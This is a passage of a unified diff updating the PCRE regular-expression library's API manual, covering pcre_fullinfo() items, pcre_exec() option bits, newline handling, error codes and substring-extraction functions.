-       tion. External callers can cause PCRE to use  its  internal  tables  by
+       tion.  External  callers  can  cause PCRE to use its internal tables by
        passing a NULL table pointer.
 
          PCRE_INFO_FIRSTBYTE
 
-       Return  information  about  the first byte of any matched string, for a
-       non-anchored pattern. The fourth argument should point to an int  vari-
-       able.  (This option used to be called PCRE_INFO_FIRSTCHAR; the old name
+       Return information about the first byte of any matched  string,  for  a
+       non-anchored  pattern. The fourth argument should point to an int vari-
+       able. (This option used to be called PCRE_INFO_FIRSTCHAR; the old  name
        is still recognized for backwards compatibility.)
 
-       If there is a fixed first byte, for example, from  a  pattern  such  as
-       (cat|cow|coyote). Otherwise, if either
+       If  there  is  a  fixed first byte, for example, from a pattern such as
+       (cat|cow|coyote), its value is returned. Otherwise, if either
 
-       (a)  the pattern was compiled with the PCRE_MULTILINE option, and every
+       (a) the pattern was compiled with the PCRE_MULTILINE option, and  every
        branch starts with "^", or
 
        (b) every branch of the pattern starts with ".*" and PCRE_DOTALL is not
        set (if it were set, the pattern would be anchored),
 
-       -1  is  returned, indicating that the pattern matches only at the start
-       of a subject string or after any newline within the  string.  Otherwise
+       -1 is returned, indicating that the pattern matches only at  the  start
+       of  a  subject string or after any newline within the string. Otherwise
        -2 is returned. For anchored patterns, -2 is returned.
 
          PCRE_INFO_FIRSTTABLE
 
-       If  the pattern was studied, and this resulted in the construction of a
+       If the pattern was studied, and this resulted in the construction of  a
        256-bit table indicating a fixed set of bytes for the first byte in any
-       matching  string, a pointer to the table is returned. Otherwise NULL is
-       returned. The fourth argument should point to an unsigned char *  vari-
+       matching string, a pointer to the table is returned. Otherwise NULL  is
+       returned.  The fourth argument should point to an unsigned char * vari-
        able.
 
+         PCRE_INFO_HASCRORLF
+
+       Return 1 if the pattern contains any explicit  matches  for  CR  or  LF
+       characters,  otherwise  0.  The  fourth argument should point to an int
+       variable. An explicit match is either a literal CR or LF character,  or
+       \r or \n.
+
+         PCRE_INFO_JCHANGED
+
+       Return  1  if  the (?J) or (?-J) option setting is used in the pattern,
+       otherwise 0. The fourth argument should point to an int variable.  (?J)
+       and (?-J) set and unset the local PCRE_DUPNAMES option, respectively.
+
          PCRE_INFO_LASTLITERAL
 
        Return  the  value of the rightmost literal byte that must exist in any
@@ -1388,8 +1702,8 @@
        PCRE_EXTENDED  is  set,  so  white  space  -  including  newlines  - is
        ignored):
 
-         (?P<date> (?P<year>(\d\d)?\d\d) -
-         (?P<month>\d\d) - (?P<day>\d\d) )
+         (?<date> (?<year>(\d\d)?\d\d) -
+         (?<month>\d\d) - (?<day>\d\d) )
 
        There are four named subpatterns, so the table has  four  entries,  and
        each  entry  in the table is eight bytes long. The table is as follows,
@@ -1405,14 +1719,25 @@
        name-to-number map, remember that the length of the entries  is  likely
        to be different for each compiled pattern.
 
+         PCRE_INFO_OKPARTIAL
+
+       Return  1 if the pattern can be used for partial matching, otherwise 0.
+       The fourth argument should point to an int  variable.  The  pcrepartial
+       documentation  lists  the restrictions that apply to patterns when par-
+       tial matching is used.
+
          PCRE_INFO_OPTIONS
 
-       Return  a  copy of the options with which the pattern was compiled. The
-       fourth argument should point to an unsigned long  int  variable.  These
+       Return a copy of the options with which the pattern was  compiled.  The
+       fourth  argument  should  point to an unsigned long int variable. These
        option bits are those specified in the call to pcre_compile(), modified
-       by any top-level option settings within the pattern itself.
+       by any top-level option settings at the start of the pattern itself. In
+       other words, they are the options that will be in force  when  matching
+       starts.  For  example, if the pattern /(?im)abc(?-i)d/ is compiled with
+       the PCRE_EXTENDED option, the result is PCRE_CASELESS,  PCRE_MULTILINE,
+       and PCRE_EXTENDED.
 
-       A pattern is automatically anchored by PCRE if  all  of  its  top-level
+       A  pattern  is  automatically  anchored by PCRE if all of its top-level
        alternatives begin with one of the following:
 
          ^     unless PCRE_MULTILINE is set
@@ -1426,7 +1751,7 @@
 
          PCRE_INFO_SIZE
 
-       Return the size of the compiled pattern, that is, the  value  that  was
+       Return  the  size  of the compiled pattern, that is, the value that was
        passed as the argument to pcre_malloc() when PCRE was getting memory in
        which to place the compiled data. The fourth argument should point to a
        size_t variable.
@@ -1434,9 +1759,9 @@
          PCRE_INFO_STUDYSIZE
 
        Return the size of the data block pointed to by the study_data field in
-       a pcre_extra block. That is,  it  is  the  value  that  was  passed  to
+       a  pcre_extra  block.  That  is,  it  is  the  value that was passed to
        pcre_malloc() when PCRE was getting memory into which to place the data
-       created by pcre_study(). The fourth argument should point to  a  size_t
+       created  by  pcre_study(). The fourth argument should point to a size_t
        variable.
 
 
@@ -1444,21 +1769,21 @@
 
        int pcre_info(const pcre *code, int *optptr, int *firstcharptr);
 
-       The  pcre_info()  function is now obsolete because its interface is too
-       restrictive to return all the available data about a compiled  pattern.
-       New   programs   should  use  pcre_fullinfo()  instead.  The  yield  of
-       pcre_info() is the number of capturing subpatterns, or one of the  fol-
+       The pcre_info() function is now obsolete because its interface  is  too
+       restrictive  to return all the available data about a compiled pattern.
+       New  programs  should  use  pcre_fullinfo()  instead.  The   yield   of
+       pcre_info()  is the number of capturing subpatterns, or one of the fol-
        lowing negative numbers:
 
          PCRE_ERROR_NULL       the argument code was NULL
          PCRE_ERROR_BADMAGIC   the "magic number" was not found
 
-       If  the  optptr  argument is not NULL, a copy of the options with which
-       the pattern was compiled is placed in the integer  it  points  to  (see
+       If the optptr argument is not NULL, a copy of the  options  with  which
+       the  pattern  was  compiled  is placed in the integer it points to (see
        PCRE_INFO_OPTIONS above).
 
-       If  the  pattern  is  not anchored and the firstcharptr argument is not
-       NULL, it is used to pass back information about the first character  of
+       If the pattern is not anchored and the  firstcharptr  argument  is  not
+       NULL,  it is used to pass back information about the first character of
        any matched string (see PCRE_INFO_FIRSTBYTE above).
 
 
@@ -1466,21 +1791,21 @@
 
        int pcre_refcount(pcre *code, int adjust);
 
-       The  pcre_refcount()  function is used to maintain a reference count in
+       The pcre_refcount() function is used to maintain a reference  count  in
        the data block that contains a compiled pattern. It is provided for the
-       benefit  of  applications  that  operate  in an object-oriented manner,
+       benefit of applications that  operate  in  an  object-oriented  manner,
        where different parts of the application may be using the same compiled
        pattern, but you want to free the block when they are all done.
 
        When a pattern is compiled, the reference count field is initialized to
-       zero.  It is changed only by calling this function, whose action is  to
-       add  the  adjust  value  (which may be positive or negative) to it. The
+       zero.   It is changed only by calling this function, whose action is to
+       add the adjust value (which may be positive or  negative)  to  it.  The
        yield of the function is the new value. However, the value of the count
-       is  constrained to lie between 0 and 65535, inclusive. If the new value
+       is constrained to lie between 0 and 65535, inclusive. If the new  value
        is outside these limits, it is forced to the appropriate limit value.
 
-       Except when it is zero, the reference count is not correctly  preserved
-       if  a  pattern  is  compiled on one host and then transferred to a host
+       Except  when it is zero, the reference count is not correctly preserved
+       if a pattern is compiled on one host and then  transferred  to  a  host
        whose byte-order is different. (This seems a highly unlikely scenario.)
 
 
@@ -1574,54 +1899,90 @@
        the  total number of calls, because not all calls to match() are recur-
        sive.  This limit is of use only if it is set smaller than match_limit.
 
-       Limiting  the  recursion  depth  limits the amount of stack that can be
+       Limiting the recursion depth limits the amount of  stack  that  can  be
        used, or, when PCRE has been compiled to use memory on the heap instead
        of the stack, the amount of heap memory that can be used.
 
-       The  default  value  for  match_limit_recursion can be set when PCRE is
-       built; the default default  is  the  same  value  as  the  default  for
-       match_limit.  You can override the default by suppling pcre_exec() with
-       a  pcre_extra  block  in  which  match_limit_recursion  is   set,   and
-       PCRE_EXTRA_MATCH_LIMIT_RECURSION  is  set  in  the  flags field. If the
+       The default value for match_limit_recursion can be  set  when  PCRE  is
+       built;  the  default  default  is  the  same  value  as the default for
+       match_limit. You can override the default by suppling pcre_exec()  with
+       a   pcre_extra   block  in  which  match_limit_recursion  is  set,  and
+       PCRE_EXTRA_MATCH_LIMIT_RECURSION is set in  the  flags  field.  If  the
        limit is exceeded, pcre_exec() returns PCRE_ERROR_RECURSIONLIMIT.
 
-       The pcre_callout field is used in conjunction with the  "callout"  fea-
+       The  pcre_callout  field is used in conjunction with the "callout" fea-
        ture, which is described in the pcrecallout documentation.
 
-       The  tables  field  is  used  to  pass  a  character  tables pointer to
-       pcre_exec(); this overrides the value that is stored with the  compiled
-       pattern.  A  non-NULL value is stored with the compiled pattern only if
-       custom tables were supplied to pcre_compile() via  its  tableptr  argu-
+       The tables field  is  used  to  pass  a  character  tables  pointer  to
+       pcre_exec();  this overrides the value that is stored with the compiled
+       pattern. A non-NULL value is stored with the compiled pattern  only  if
+       custom  tables  were  supplied to pcre_compile() via its tableptr argu-
        ment.  If NULL is passed to pcre_exec() using this mechanism, it forces
-       PCRE's internal tables to be used. This facility is  helpful  when  re-
-       using  patterns  that  have been saved after compiling with an external
-       set of tables, because the external tables  might  be  at  a  different
-       address  when  pcre_exec() is called. See the pcreprecompile documenta-
+       PCRE's  internal  tables  to be used. This facility is helpful when re-
+       using patterns that have been saved after compiling  with  an  external
+       set  of  tables,  because  the  external tables might be at a different
+       address when pcre_exec() is called. See the  pcreprecompile  documenta-
        tion for a discussion of saving compiled patterns for later use.
 
    Option bits for pcre_exec()
 
-       The unused bits of the options argument for pcre_exec() must  be  zero.
-       The  only  bits  that  may  be set are PCRE_ANCHORED, PCRE_NEWLINE_xxx,
-       PCRE_NOTBOL,   PCRE_NOTEOL,   PCRE_NOTEMPTY,   PCRE_NO_UTF8_CHECK   and
-       PCRE_PARTIAL.
+       The  unused  bits of the options argument for pcre_exec() must be zero.
+       The only bits that may  be  set  are  PCRE_ANCHORED,  PCRE_NEWLINE_xxx,
+       PCRE_NOTBOL,    PCRE_NOTEOL,   PCRE_NOTEMPTY,   PCRE_NO_START_OPTIMIZE,
+       PCRE_NO_UTF8_CHECK and PCRE_PARTIAL.
 
          PCRE_ANCHORED
 
-       The  PCRE_ANCHORED  option  limits pcre_exec() to matching at the first
-       matching position. If a pattern was  compiled  with  PCRE_ANCHORED,  or
-       turned  out to be anchored by virtue of its contents, it cannot be made
+       The PCRE_ANCHORED option limits pcre_exec() to matching  at  the  first
+       matching  position.  If  a  pattern was compiled with PCRE_ANCHORED, or
+       turned out to be anchored by virtue of its contents, it cannot be  made
        unachored at matching time.
 
+         PCRE_BSR_ANYCRLF
+         PCRE_BSR_UNICODE
+
+       These options (which are mutually exclusive) control what the \R escape
+       sequence matches. The choice is either to match only CR, LF,  or  CRLF,
+       or  to  match  any Unicode newline sequence. These options override the
+       choice that was made or defaulted when the pattern was compiled.
+
          PCRE_NEWLINE_CR
          PCRE_NEWLINE_LF
          PCRE_NEWLINE_CRLF
+         PCRE_NEWLINE_ANYCRLF
+         PCRE_NEWLINE_ANY
 
        These options override  the  newline  definition  that  was  chosen  or
        defaulted  when the pattern was compiled. For details, see the descrip-
-       tion pcre_compile() above. During matching, the newline choice  affects
-       the behaviour of the dot, circumflex, and dollar metacharacters.
+       tion of pcre_compile()  above.  During  matching,  the  newline  choice
+       affects  the  behaviour  of the dot, circumflex, and dollar metacharac-
+       ters. It may also alter the way the match position is advanced after  a
+       match failure for an unanchored pattern.
 
+       When  PCRE_NEWLINE_CRLF,  PCRE_NEWLINE_ANYCRLF,  or PCRE_NEWLINE_ANY is
+       set, and a match attempt for an unanchored pattern fails when the  cur-
+       rent  position  is  at  a  CRLF  sequence,  and the pattern contains no
+       explicit matches for  CR  or  LF  characters,  the  match  position  is
+       advanced by two characters instead of one, in other words, to after the
+       CRLF.
+
+       The above rule is a compromise that makes the most common cases work as
+       expected.  For  example,  if  the  pattern  is .+A (and the PCRE_DOTALL
+       option is not set), it does not match the string "\r\nA" because, after
+       failing  at the start, it skips both the CR and the LF before retrying.
+       However, the pattern [\r\n]A does match that string,  because  it  con-
+       tains an explicit CR or LF reference, and so advances only by one char-
+       acter after the first failure.
+
+       An explicit match for CR of LF is either a literal appearance of one of
+       those  characters,  or  one  of the \r or \n escape sequences. Implicit
+       matches such as [^X] do not count, nor does \s (which includes  CR  and
+       LF in the characters that it matches).
+
+       Notwithstanding  the above, anomalous effects may still occur when CRLF
+       is a valid newline sequence and explicit \r or \n escapes appear in the
+       pattern.
+
          PCRE_NOTBOL
 
        This option specifies that first character of the subject string is not
@@ -1662,15 +2023,27 @@
        an ordinary match again. There is some code that demonstrates how to do
        this in the pcredemo.c sample program.
 
+         PCRE_NO_START_OPTIMIZE
+
+       There  are a number of optimizations that pcre_exec() uses at the start
+       of a match, in order to speed up the process. For  example,  if  it  is
+       known  that  a  match must start with a specific character, it searches
+       the subject for that character, and fails immediately if it cannot find
+       it,  without actually running the main matching function. When callouts
+       are in use, these optimizations can cause  them  to  be  skipped.  This
+       option  disables  the  "start-up" optimizations, causing performance to
+       suffer, but ensuring that the callouts do occur.
+
          PCRE_NO_UTF8_CHECK
 
        When PCRE_UTF8 is set at compile time, the validity of the subject as a
-       UTF-8 string is automatically checked when pcre_exec() is  subsequently
-       called.   The  value  of  startoffset is also checked to ensure that it
-       points to the start of a UTF-8 character. If an invalid UTF-8  sequence
-       of bytes is found, pcre_exec() returns the error PCRE_ERROR_BADUTF8. If
-       startoffset contains an  invalid  value,  PCRE_ERROR_BADUTF8_OFFSET  is
-       returned.
+       UTF-8  string is automatically checked when pcre_exec() is subsequently
+       called.  The value of startoffset is also checked  to  ensure  that  it
+       points  to  the start of a UTF-8 character. There is a discussion about
+       the validity of UTF-8 strings in the section on UTF-8  support  in  the
+       main  pcre  page.  If  an  invalid  UTF-8  sequence  of bytes is found,
+       pcre_exec() returns the error PCRE_ERROR_BADUTF8. If  startoffset  con-
+       tains an invalid value, PCRE_ERROR_BADUTF8_OFFSET is returned.
 
        If  you  already  know that your subject is valid, and you want to skip
        these   checks   for   performance   reasons,   you   can    set    the
@@ -1697,83 +2070,87 @@
    The string to be matched by pcre_exec()
 
        The  subject string is passed to pcre_exec() as a pointer in subject, a
-       length in length, and a starting byte offset in startoffset.  In  UTF-8
-       mode,  the  byte  offset  must point to the start of a UTF-8 character.
-       Unlike the pattern string, the subject may contain binary  zero  bytes.
-       When  the starting offset is zero, the search for a match starts at the
-       beginning of the subject, and this is by far the most common case.
+       length (in bytes) in length, and a starting byte offset in startoffset.
+       In UTF-8 mode, the byte offset must point to the start of a UTF-8 char-
+       acter. Unlike the pattern string, the subject may contain  binary  zero
+       bytes.  When the starting offset is zero, the search for a match starts
+       at the beginning of the subject, and this is by  far  the  most  common
+       case.
 
-       A non-zero starting offset is useful when searching for  another  match
-       in  the same subject by calling pcre_exec() again after a previous suc-
-       cess.  Setting startoffset differs from just passing over  a  shortened
-       string  and  setting  PCRE_NOTBOL  in the case of a pattern that begins
+       A  non-zero  starting offset is useful when searching for another match
+       in the same subject by calling pcre_exec() again after a previous  suc-
+       cess.   Setting  startoffset differs from just passing over a shortened
+       string and setting PCRE_NOTBOL in the case of  a  pattern  that  begins
        with any kind of lookbehind. For example, consider the pattern
 
          \Biss\B
 
-       which finds occurrences of "iss" in the middle of  words.  (\B  matches
-       only  if  the  current position in the subject is not a word boundary.)
-       When applied to the string "Mississipi" the first call  to  pcre_exec()
-       finds  the  first  occurrence. If pcre_exec() is called again with just
-       the remainder of the subject,  namely  "issipi",  it  does  not  match,
+       which  finds  occurrences  of "iss" in the middle of words. (\B matches
+       only if the current position in the subject is not  a  word  boundary.)
+       When  applied  to the string "Mississipi" the first call to pcre_exec()
+       finds the first occurrence. If pcre_exec() is called  again  with  just
+       the  remainder  of  the  subject,  namely  "issipi", it does not match,
        because \B is always false at the start of the subject, which is deemed
-       to be a word boundary. However, if pcre_exec()  is  passed  the  entire
+       to  be  a  word  boundary. However, if pcre_exec() is passed the entire
        string again, but with startoffset set to 4, it finds the second occur-
-       rence of "iss" because it is able to look behind the starting point  to
+       rence  of "iss" because it is able to look behind the starting point to
        discover that it is preceded by a letter.
 
-       If  a  non-zero starting offset is passed when the pattern is anchored,
+       If a non-zero starting offset is passed when the pattern  is  anchored,
        one attempt to match at the given offset is made. This can only succeed
-       if  the  pattern  does  not require the match to be at the start of the
+       if the pattern does not require the match to be at  the  start  of  the
        subject.
 
    How pcre_exec() returns captured substrings
 
-       In general, a pattern matches a certain portion of the subject, and  in
-       addition,  further  substrings  from  the  subject may be picked out by
-       parts of the pattern. Following the usage  in  Jeffrey  Friedl's  book,
-       this  is  called "capturing" in what follows, and the phrase "capturing
-       subpattern" is used for a fragment of a pattern that picks out  a  sub-
-       string.  PCRE  supports several other kinds of parenthesized subpattern
+       In  general, a pattern matches a certain portion of the subject, and in
+       addition, further substrings from the subject  may  be  picked  out  by
+       parts  of  the  pattern.  Following the usage in Jeffrey Friedl's book,
+       this is called "capturing" in what follows, and the  phrase  "capturing
+       subpattern"  is  used for a fragment of a pattern that picks out a sub-
+       string. PCRE supports several other kinds of  parenthesized  subpattern
        that do not cause substrings to be captured.
 
-       Captured substrings are returned to the caller via a vector of  integer
-       offsets  whose  address is passed in ovector. The number of elements in
-       the vector is passed in ovecsize, which must be a non-negative  number.
-       Note: this argument is NOT the size of ovector in bytes.
+       Captured substrings are returned to the caller via a vector of integers
+       whose address is passed in ovector. The number of elements in the  vec-
+       tor  is  passed in ovecsize, which must be a non-negative number. Note:
+       this argument is NOT the size of ovector in bytes.
 
-       The  first  two-thirds of the vector is used to pass back captured sub-
-       strings, each substring using a pair of integers. The  remaining  third
-       of  the  vector is used as workspace by pcre_exec() while matching cap-
-       turing subpatterns, and is not available for passing back  information.
-       The  length passed in ovecsize should always be a multiple of three. If
+       The first two-thirds of the vector is used to pass back  captured  sub-
+       strings,  each  substring using a pair of integers. The remaining third
+       of the vector is used as workspace by pcre_exec() while  matching  cap-
+       turing  subpatterns, and is not available for passing back information.
+       The number passed in ovecsize should always be a multiple of three.  If
        it is not, it is rounded down.
 
-       When a match is successful, information about  captured  substrings  is
-       returned  in  pairs  of integers, starting at the beginning of ovector,
-       and continuing up to two-thirds of its length at the  most.  The  first
-       element of a pair is set to the offset of the first character in a sub-
-       string, and the second is set to the  offset  of  the  first  character
-       after  the  end  of  a  substring. The first pair, ovector[0] and ovec-
-       tor[1], identify the portion of  the  subject  string  matched  by  the
-       entire  pattern.  The next pair is used for the first capturing subpat-
-       tern, and so on. The value returned by pcre_exec() is one more than the
-       highest numbered pair that has been set. For example, if two substrings
-       have been captured, the returned value is 3. If there are no  capturing
-       subpatterns,  the return value from a successful match is 1, indicating
-       that just the first pair of offsets has been set.
+       When  a  match  is successful, information about captured substrings is
+       returned in pairs of integers, starting at the  beginning  of  ovector,
+       and  continuing  up  to two-thirds of its length at the most. The first
+       element of each pair is set to the byte offset of the  first  character
+       in  a  substring, and the second is set to the byte offset of the first
+       character after the end of a substring. Note: these values  are  always
+       byte offsets, even in UTF-8 mode. They are not character counts.
 
+       The  first  pair  of  integers, ovector[0] and ovector[1], identify the
+       portion of the subject string matched by the entire pattern.  The  next
+       pair  is  used for the first capturing subpattern, and so on. The value
+       returned by pcre_exec() is one more than the highest numbered pair that
+       has  been  set.  For example, if two substrings have been captured, the
+       returned value is 3. If there are no capturing subpatterns, the  return
+       value from a successful match is 1, indicating that just the first pair
+       of offsets has been set.
+
        If a capturing subpattern is matched repeatedly, it is the last portion
        of the string that it matched that is returned.
 
        If  the vector is too small to hold all the captured substring offsets,
        it is used as far as possible (up to two-thirds of its length), and the
-       function  returns a value of zero. In particular, if the substring off-
-       sets are not of interest, pcre_exec() may be called with ovector passed
-       as  NULL  and  ovecsize  as zero. However, if the pattern contains back
-       references and the ovector is not big enough to  remember  the  related
-       substrings,  PCRE has to get additional memory for use during matching.
-       Thus it is usually advisable to supply an ovector.
+       function  returns  a value of zero. If the substring offsets are not of
+       interest, pcre_exec() may be called with ovector  passed  as  NULL  and
+       ovecsize  as zero. However, if the pattern contains back references and
+       the ovector is not big enough to remember the related substrings,  PCRE
+       has  to  get additional memory for use during matching. Thus it is usu-
+       ally advisable to supply an ovector.
 
        The pcre_info() function can be used to find  out  how  many  capturing
        subpatterns  there  are  in  a  compiled pattern. The smallest size for
@@ -1824,7 +2201,7 @@
        an environment with the other endianness. This is the error  that  PCRE
        gives when the magic number is not present.
 
-         PCRE_ERROR_UNKNOWN_NODE   (-5)
+         PCRE_ERROR_UNKNOWN_OPCODE (-5)
 
        While running the pattern match, an unknown item was encountered in the
        compiled pattern. This error could be caused by a bug  in  PCRE  or  by
@@ -1850,12 +2227,6 @@
        pcre_extra structure (or defaulted) was reached.  See  the  description
        above.
 
-         PCRE_ERROR_RECURSIONLIMIT (-21)
-
-       The internal recursion limit, as specified by the match_limit_recursion
-       field in a pcre_extra structure (or defaulted)  was  reached.  See  the
-       description above.
-
          PCRE_ERROR_CALLOUT        (-9)
 
        This error is never generated by pcre_exec() itself. It is provided for
@@ -1891,9 +2262,21 @@
 
          PCRE_ERROR_BADCOUNT       (-15)
 
-       This error is given if the value of the ovecsize argument is  negative.
+       This error is given if the value of the ovecsize argument is negative.
 
+         PCRE_ERROR_RECURSIONLIMIT (-21)
 
+       The internal recursion limit, as specified by the match_limit_recursion
+       field  in  a  pcre_extra  structure (or defaulted) was reached. See the
+       description above.
+
+         PCRE_ERROR_BADNEWLINE     (-23)
+
+       An invalid combination of PCRE_NEWLINE_xxx options was given.
+
+       Error numbers -16 to -20 and -22 are not used by pcre_exec().
+
+
 EXTRACTING CAPTURED SUBSTRINGS BY NUMBER
 
        int pcre_copy_substring(const char *subject, int *ovector,
@@ -1907,57 +2290,58 @@
        int pcre_get_substring_list(const char *subject,
             int *ovector, int stringcount, const char ***listptr);
 
-       Captured  substrings  can  be  accessed  directly  by using the offsets
-       returned by pcre_exec() in  ovector.  For  convenience,  the  functions
+       Captured substrings can be  accessed  directly  by  using  the  offsets
+       returned  by  pcre_exec()  in  ovector.  For convenience, the functions
        pcre_copy_substring(),    pcre_get_substring(),    and    pcre_get_sub-
-       string_list() are provided for extracting captured substrings  as  new,
-       separate,  zero-terminated strings. These functions identify substrings
-       by number. The next section describes functions  for  extracting  named
+       string_list()  are  provided for extracting captured substrings as new,
+       separate, zero-terminated strings. These functions identify  substrings
+       by  number.  The  next section describes functions for extracting named
        substrings.
 
-       A  substring that contains a binary zero is correctly extracted and has
-       a further zero added on the end, but the result is not, of course, a  C
-       string.   However,  you  can  process such a string by referring to the
-       length that is  returned  by  pcre_copy_substring()  and  pcre_get_sub-
+       A substring that contains a binary zero is correctly extracted and  has
+       a  further zero added on the end, but the result is not, of course, a C
+       string.  However, you can process such a string  by  referring  to  the
+       length  that  is  returned  by  pcre_copy_substring() and pcre_get_sub-
        string().  Unfortunately, the interface to pcre_get_substring_list() is
-       not adequate for handling strings containing binary zeros, because  the
+       not  adequate for handling strings containing binary zeros, because the
        end of the final string is not independently indicated.
 
-       The  first  three  arguments  are the same for all three of these func-
-       tions: subject is the subject string that has  just  been  successfully
+       The first three arguments are the same for all  three  of  these  func-
+       tions:  subject  is  the subject string that has just been successfully
        matched, ovector is a pointer to the vector of integer offsets that was
        passed to pcre_exec(), and stringcount is the number of substrings that
-       were  captured  by  the match, including the substring that matched the
+       were captured by the match, including the substring  that  matched  the
        entire regular expression. This is the value returned by pcre_exec() if
-       it  is greater than zero. If pcre_exec() returned zero, indicating that
-       it ran out of space in ovector, the value passed as stringcount  should
+       it is greater than zero. If pcre_exec() returned zero, indicating  that
+       it  ran out of space in ovector, the value passed as stringcount should
        be the number of elements in the vector divided by three.
 
-       The  functions pcre_copy_substring() and pcre_get_substring() extract a
-       single substring, whose number is given as  stringnumber.  A  value  of
-       zero  extracts  the  substring that matched the entire pattern, whereas
-       higher values  extract  the  captured  substrings.  For  pcre_copy_sub-
-       string(),  the  string  is  placed  in buffer, whose length is given by
-       buffersize, while for pcre_get_substring() a new  block  of  memory  is
-       obtained  via  pcre_malloc,  and its address is returned via stringptr.
-       The yield of the function is the length of the  string,  not  including
-       the terminating zero, or one of
+       The functions pcre_copy_substring() and pcre_get_substring() extract  a
+       single  substring,  whose  number  is given as stringnumber. A value of
+       zero extracts the substring that matched the  entire  pattern,  whereas
+       higher  values  extract  the  captured  substrings.  For pcre_copy_sub-
+       string(), the string is placed in buffer,  whose  length  is  given  by
+       buffersize,  while  for  pcre_get_substring()  a new block of memory is
+       obtained via pcre_malloc, and its address is  returned  via  stringptr.
+       The  yield  of  the function is the length of the string, not including
+       the terminating zero, or one of these error codes:
 
          PCRE_ERROR_NOMEMORY       (-6)
 
-       The  buffer  was too small for pcre_copy_substring(), or the attempt to
+       The buffer was too small for pcre_copy_substring(), or the  attempt  to
        get memory failed for pcre_get_substring().
 
          PCRE_ERROR_NOSUBSTRING    (-7)
 
        There is no substring whose number is stringnumber.
 
-       The pcre_get_substring_list()  function  extracts  all  available  sub-
-       strings  and  builds  a list of pointers to them. All this is done in a
+       The  pcre_get_substring_list()  function  extracts  all  available sub-
+       strings and builds a list of pointers to them. All this is  done  in  a
        single block of memory that is obtained via pcre_malloc. The address of
-       the  memory  block  is returned via listptr, which is also the start of
-       the list of string pointers. The end of the list is marked  by  a  NULL
-       pointer. The yield of the function is zero if all went well, or
+       the memory block is returned via listptr, which is also  the  start  of
+       the  list  of  string pointers. The end of the list is marked by a NULL
+       pointer. The yield of the function is zero if all  went  well,  or  the
+       error code
 
          PCRE_ERROR_NOMEMORY       (-6)
 
@@ -1999,7 +2383,7 @@
        To extract a substring by name, you first have to find associated  num-
        ber.  For example, for this pattern
 
-         (a+)b(?P<xxx>\d+)...
+         (a+)b(?<xxx>\d+)...
 
        the number of the subpattern called "xxx" is 2. If the name is known to
        be unique (PCRE_DUPNAMES was not set), you can find the number from the
@@ -2025,9 +2409,15 @@
 
        These  functions call pcre_get_stringnumber(), and if it succeeds, they
        then call pcre_copy_substring() or pcre_get_substring(),  as  appropri-
-       ate.
+       ate.  NOTE:  If PCRE_DUPNAMES is set and there are duplicate names, the
+       behaviour may not be what you want (see the next section).
 
+       Warning: If the pattern uses the "(?|" feature to set up multiple  sub-
+       patterns  with  the  same  number,  you cannot use names to distinguish
+       them, because names are not included in the compiled code. The matching
+       process uses only numbers.
 
+
 DUPLICATE SUBPATTERN NAMES
 
        int pcre_get_stringtable_entries(const pcre *code,
@@ -2037,12 +2427,14 @@
        subpatterns are not required to  be  unique.  Normally,  patterns  with
        duplicate  names  are such that in any one match, only one of the named
        subpatterns participates. An example is shown in the pcrepattern  docu-
-       mentation. When duplicates are present, pcre_copy_named_substring() and
+       mentation.
+
+       When    duplicates   are   present,   pcre_copy_named_substring()   and
        pcre_get_named_substring() return the first substring corresponding  to
-       the  given  name  that  is  set.  If  none  are set, an empty string is
-       returned.  The pcre_get_stringnumber() function returns one of the num-
-       bers  that are associated with the name, but it is not defined which it
-       is.
+       the  given  name  that  is set. If none are set, PCRE_ERROR_NOSUBSTRING
+       (-7) is returned; no  data  is  returned.  The  pcre_get_stringnumber()
+       function  returns one of the numbers that are associated with the name,
+       but it is not defined which it is.
 
        If you want to get full details of all captured substrings for a  given
        name,  you  must  use  the pcre_get_stringtable_entries() function. The
@@ -2050,11 +2442,11 @@
        third  and  fourth  are  pointers to variables which are updated by the
        function. After it has run, they point to the first and last entries in
        the  name-to-number  table  for  the  given  name.  The function itself
-       returns the length of each entry, or  PCRE_ERROR_NOSUBSTRING  if  there
-       are  none.  The  format  of the table is described above in the section
-       entitled Information about a pattern. Given all  the  relevant  entries
-       for the name, you can extract each of their numbers, and hence the cap-
-       tured data, if any.
+       returns the length of each entry,  or  PCRE_ERROR_NOSUBSTRING  (-7)  if
+       there  are none. The format of the table is described above in the sec-
+       tion entitled Information about a  pattern.   Given  all  the  relevant
+       entries  for the name, you can extract each of their numbers, and hence
+       the captured data, if any.
 
 
 FINDING ALL POSSIBLE MATCHES
@@ -2083,23 +2475,24 @@
             int *workspace, int wscount);
 
        The  function  pcre_dfa_exec()  is  called  to  match  a subject string
-       against a compiled pattern, using a "DFA" matching algorithm. This  has
-       different  characteristics to the normal algorithm, and is not compati-
-       ble with Perl. Some of the features of PCRE patterns are not supported.
-       Nevertheless, there are times when this kind of matching can be useful.
-       For a discussion of the two matching algorithms, see  the  pcrematching
-       documentation.
+       against a compiled pattern, using a matching algorithm that  scans  the
+       subject  string  just  once, and does not backtrack. This has different
+       characteristics to the normal algorithm, and  is  not  compatible  with
+       Perl.  Some  of the features of PCRE patterns are not supported. Never-
+       theless, there are times when this kind of matching can be useful.  For
+       a discussion of the two matching algorithms, see the pcrematching docu-
+       mentation.
 
-       The  arguments  for  the  pcre_dfa_exec()  function are the same as for
+       The arguments for the pcre_dfa_exec() function  are  the  same  as  for
        pcre_exec(), plus two extras. The ovector argument is used in a differ-
-       ent  way,  and  this is described below. The other common arguments are
-       used in the same way as for pcre_exec(), so their  description  is  not
+       ent way, and this is described below. The other  common  arguments  are
+       used  in  the  same way as for pcre_exec(), so their description is not
        repeated here.
 
-       The  two  additional  arguments provide workspace for the function. The
-       workspace vector should contain at least 20 elements. It  is  used  for
+       The two additional arguments provide workspace for  the  function.  The
+       workspace  vector  should  contain at least 20 elements. It is used for
        keeping  track  of  multiple  paths  through  the  pattern  tree.  More
-       workspace will be needed for patterns and subjects where  there  are  a
+       workspace  will  be  needed for patterns and subjects where there are a
        lot of potential matches.
 
        Here is an example of a simple call to pcre_dfa_exec():
@@ -2121,47 +2514,47 @@
 
    Option bits for pcre_dfa_exec()
 
-       The  unused  bits  of  the options argument for pcre_dfa_exec() must be
-       zero. The only bits  that  may  be  set  are  PCRE_ANCHORED,  PCRE_NEW-
-       LINE_xxx,  PCRE_NOTBOL, PCRE_NOTEOL, PCRE_NOTEMPTY, PCRE_NO_UTF8_CHECK,
+       The unused bits of the options argument  for  pcre_dfa_exec()  must  be
+       zero.  The  only  bits  that  may  be  set are PCRE_ANCHORED, PCRE_NEW-
